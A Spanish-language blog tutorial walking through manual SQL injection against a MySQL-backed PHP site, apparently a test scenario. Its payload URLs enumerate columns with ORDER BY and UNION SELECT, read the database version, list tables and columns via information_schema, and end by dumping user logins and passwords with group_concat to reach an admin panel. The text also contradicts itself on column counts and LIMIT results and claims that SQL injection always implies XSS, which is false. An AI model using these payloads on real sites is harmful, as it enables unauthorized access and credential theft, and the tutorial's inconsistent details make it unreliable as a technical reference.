Post19 n

Inyección SQL con Mysql en profundidad.


Perfil
Samuel Esteban

Siguiendo con las inyecciones SQL, en esta oportunidad veremos en detalle el funcionamiento de las inyecciones SQL orientadas al motor de base de datos Mysql. Mysql es un motor de base de datos muy utilizado en el mundo y es uno de los más explotados a nivel web.

Nos enfocaremos en realizar una inyección SQL de manera manual, para realizar este proceso tenemos el siguiente escenario de prueba:

Escenario de Pruebas

Al observar la imagen anterior, nos podemos percatar que es el mismo escenario que utilizamos con Sqlmap anteriormente, sin embargo nos enfocaremos en realizar una inyección SQL de manera manual.

Para producir un error de inyección SQL, agregamos una comilla simple  al input del aplicativo web (php?id=2). Como es posible observar en la imagen anterior  nos podemos dar cuenta de que el error indica que se está utilizando un motor de base de datos Mysql, por esta razón realizaremos inyecciones en base al motor detectado.

En primer lugar realizaremos una consulta con la sentencia ORDER BY. Esta sentencia nos permite ordenar las filas del resultado de una consulta una por una, esto es muy útil en una inyección SQL, ya que de esta manera podremos detectar la cantidad de columnas disponibles y de esta manera realizar una inyección más precisa, por ejemplo tenemos lo siguiente:

www.sitioweb.com/index.php?id=1 ORDER BY 1 --

Nos devuelve el sitio web sin ningún cambio

www.sitioweb.com/index.php?id=1 ORDER BY 2 --

Nos devuelve el sitio web sin ningún cambio

www.sitioweb.com/index.php?id=1 ORDER BY 3 --

Nos devuelve el sitio web sin ningún cambio

www.sitioweb.com/index.php?id=1 ORDER BY 4 --

Nos devuelve un error de consulta SQL


Esto nos indica que tenemos disponible solo 3 columnas, las cuales nos permitirán realizar una inyección SQL.

1. Inyección SQL –Order By


2. Inyección SQL –Order By 

Como es posible apreciar nos podemos dar cuenta que se tienen 4 columnas disponibles, posteriormente utilizaremos la sentencia UNION SELECT.  Esta sentencia nos permitirá buscar una columna en la cual podremos realizar una inyección. La sintaxis de esta sentencia es la siguiente:

www.sitioweb.com/index.php?id=1 UNION SELECT 1--

Respuesta: Error SQL

www.sitioweb.com/index.php?id=1 UNION SELECT 1,2--

Respuesta: Error SQL

www.sitioweb.com/index.php?id=1 UNION SELECT 1,2,3--

Respuesta: Error SQL

www.sitioweb.com/index.php?id=1 UNION SELECT 1,2,3—

Respuesta: Error SQL

www.sitioweb.com/index.php?id=1 UNION SELECT 1,2,3,4--

Respuesta: Error SQL

www.sitioweb.com/index.php?id=1 UNION SELECT 1,2,3,4,5--

Respuesta: Cambio en el sitio web, mostrando por pantalla el número de la columna vulnerable.


Veamos un ejemplo más práctico:


Inyección SQL – Union Select (1)


Inyección SQL – Union Select  (2)

Al utilizar esta sentencia, nos podemos percatar que es posible realizar una unión entre 4 columnas, además cómo es posible visualizar en la imagen anterior, el sitio web nos muestra un número 2, esto indica que en el campo número 2 de la consulta es posible realizar una inyección SQL. Probaremos si es posible inyectar sentencias en el campo mencionado.


Inyección SQL – Versión Motor base de datos

La inyección logró ser exitosa ya que la sentencia @@version sirve para consultar la versión de Mysql, en este caso nos devolvió la versión 5.1.63.

Algunas sentencias SQL que puede utilizar para obtener información son los siguientes:

Algunas Sentencias SQL


Como dato anexo, es importante mencionar que siempre que exista una inyección SQL, habrá también una vulnerabilidad llamada Cross Site Scripting (XSS), un reflejo de esta vulnerabilidad es lo siguiente:


   Inyección SQL- Vulnerabilidad XSS presente

Más adelante hablaremos en detalle sobre esta vulnerabilidad.

Cuando se realiza una inyección SQL, es importante recabar la mayor cantidad de información posible, ya que esta vulnerabilidad es de tan gran impacto, que es primordial ver hasta donde es posible llegar, por ende necesitamos buscar alguna tabla en la base de datos que esté asociada a los usuarios del sistema para lograr tener acceso al panel de administración. Para realizar este proceso utilizaremos las sentencias TABLE_NAME y FROM INFORMATION_SCHEMA.TABLES.

Information_schema es la base de datos que almacena información acerca de todas las otras bases de datos que mantiene el servidor Mysql. Si tenemos la siguiente estructura.

www.sitiosweb.com/index.php?id=1 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables –

Le estamos diciendo que nos devuelva por pantalla todas las tablas de las bases de datos disponibles. Esto nos ayudará a encontrar una tabla que haga referencia a usuarios del sistema.


 Inyección SQL- Obteniendo las tablas de la BD

En algunos casos es posible que por pantalla solo nos devuelva una sola tabla, para poder iterar y visualizar el resto de las tablas es necesario utilizar la sentencia LIMIT. Esta sentencia se usa para restringir los registros que se retornan en una consulta "select".

Recibe 1 ó 2 argumentos numéricos enteros positivos, el primero indica el número desde donde se quiere iniciar la consulta, el segundo, el número máximo de registros a retornar. El número de registro inicial es 0 (no 1).


Si el segundo argumento supera la cantidad de registros de la tabla, se limita hasta el último registro. Por ejemplo:

www.sitiosweb.com/index.php?id=1 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 0,4 --

Esto muestra las 3 primeras tablas 0,1,2 o en algunos casos solo la última tabla (2). Esto solo aplica cuando el primer argumento es 0.

www.sitiosweb.com/index.php?id=1 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 5,8 --

Esto muestra la cantidad de 8 tablas desde la posición número 5.

Si se coloca un solo argumento, indica el máximo número de registros a retornar, comenzando desde 0. Ejemplo:

www.sitiosweb.com/index.php?id=1 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12 from information_schema.tables LIMIT 8 --

Muestra los primeros 7 registros (0,1,2,3,4,5,6,7). Para comprender más esto veámoslo en un ejemplo:


Inyección SQL- Sentencia LIMIT

Lo que se realizó fue una consulta SQL la cual indica que a través de la sentencia LIMIT se debe retornar la cantidad de 2  tablas empezando desde la posición 30 (contándola), por lo tanto esto nos retorna la tabla 30 y 31.

Como logramos observar ya pudimos obtener la tabla de usuarios (users). Ahora procederemos a extraer los campos de la tabla. Para esto en primer lugar lo que debemos realizar es transformar el nombre de la tabla encontrada (users) a ASCII. Esto es necesario para poder extraer el nombre de cada uno de los campos de la tabla en cuestión. A continuación les dejaré un link donde pueden realizar este proceso:

https://www.easycalculation.com/ascii-hex.php


Inyección SQL- Tabla Users a ASCII


La tabla users con su valor ASCII (117 115 101 114 115) nos permitirá realizar la extracción de información que necesitamos. Utilizaremos la sentencia GROUP_CONCAT, la cual nos permitirá realizar una concatenación entre todos los campos extraídos y posteriormente mostrarlos por pantalla. Cabe mencionar que a la tabla en ASCII se le debe agregar comas para utilizarla en la consulta, quedando de la siguiente manera, 117 115,101,114,115.

 Inyección SQL- Extrayendo campos de tabla Users

Esta inyección hace lo siguiente, en primer lugar seteamos el campo inyectable (número 2) con la sentencia group_concat(column_name), esto nos sirve para retornar todos los campos de una tabla en específico. Luego cambiamos el from information_schema.tables por informatiom_schema.columns para especificar que necesitamos que nos retorne las columnas, finalmente con la cláusula where table_name=char(nombre_tabla_ascii), le decimos que nos retorne todas las columnas de la tabla users. Finalmente como se puede observar, nos devuelve los campos id, login y password.

Finalmente procedemos a realizar la extracción de información de dichos campos de la siguiente manera:

www.sitiosweb.com/index.php?id=1 UNION SELECT 1,group_concat(id,0x3a, login, 0x3a, password),3,4 from users –

0x3a es una representación hexadecimal de los “dos puntos” ( :  ). Esto lo utilizamos para concatenar cada resultado y no confundirnos:

Inyección SQL- Id, usuario y contraseña extraídos

Finalmente logramos extraer las credenciales del sistema, y de esta manera realizar una completa inyección SQL de manera manual.



Artículos que te pueden interesar